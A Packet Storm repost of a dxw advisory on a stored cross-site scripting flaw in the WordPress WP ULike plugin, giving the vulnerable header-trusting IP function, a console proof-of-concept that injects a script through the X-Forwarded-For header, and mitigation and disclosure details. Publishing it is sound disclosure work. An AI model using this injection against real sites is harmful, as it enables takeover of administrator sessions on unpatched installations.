exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting
Posted May 15, 2018
Authored by Tom Adams

WordPress WP ULike plugin versions 2.8.1 and 3.1 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 80d7060c00ca4ddac7b6916ec8392a1db436aa0ccb9d5f13d711e383093b1282

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

Change Mirror Download
Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/stored-xss-wp-ulike/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can

Vulnerability
================
The pluginas default configuration (after pressing aSave Changesa on the settings page) allows unauthenticated users to alikea posts. It fetches the useras IP like this:
function wp_ulike_get_real_ip() {
if (getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif (getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_X_FORWARDED\')) {
$ip = getenv(\'HTTP_X_FORWARDED\');
} elseif (getenv(\'HTTP_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_FORWARDED\')) {
$ip = getenv(\'HTTP_FORWARDED\');
} else {
$ip = $_SERVER[\'REMOTE_ADDR\'];
}

return $ip;
}
This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then itas displayed to the admin without being escaped.

Proof of concept
================

Enable the plugin
Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
Sign out
Visit a post displaying a like button
Open the console
Paste and execute this: var d=document.querySelector(\'.wpulike-default a\').dataset;jQuery.ajax(\'/wp-admin/admin-ajax.php\', {method: \'POST\', headers: {\'X-Forwarded-For\': \'<script>alert(1)</script>\'},data: {action: \'wp_ulike_process\', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
Sign in
Visit /wp-admin/admin.php?page=wp-ulike-post-logs


Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close